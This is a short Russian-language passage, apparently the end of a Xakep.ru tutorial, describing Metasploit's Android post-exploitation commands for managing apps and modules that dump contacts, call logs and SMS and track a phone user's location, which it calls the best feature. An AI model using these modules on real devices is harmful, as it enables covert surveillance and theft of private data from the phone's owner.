Используемый нами инструментарий позволяет устанавливать, удалять, просматривать установленные программы и запускать приложения. Например, я поудалял на смартфоне все программы от производителя. Сделать это можно с помощью следующих команд:
- app_list
- app_install
- app_uninstall
- app_run
Результат команды app_list
Также мы можем получить все контакты, список вызовов и SMS благодаря модулям dump_contacts, dump_calllog, dump_sms. Но самая крутая фишка — следить за перемещением пользователя смартфона при помощи модуля geolocate.
Получение координат смартфона
Определение местоположения на картах Google
Заключение
Как видишь, Metasploit намного более универсальный, чем другие фреймворки, поэтому сравнивать его с конкурентами очень непросто. Это один из инструментов, о возможностях которых нужно как минимум знать. Надеюсь, эта статья помогла тебе в их освоении.
Автор @RalfHacker
взято с хакер.ру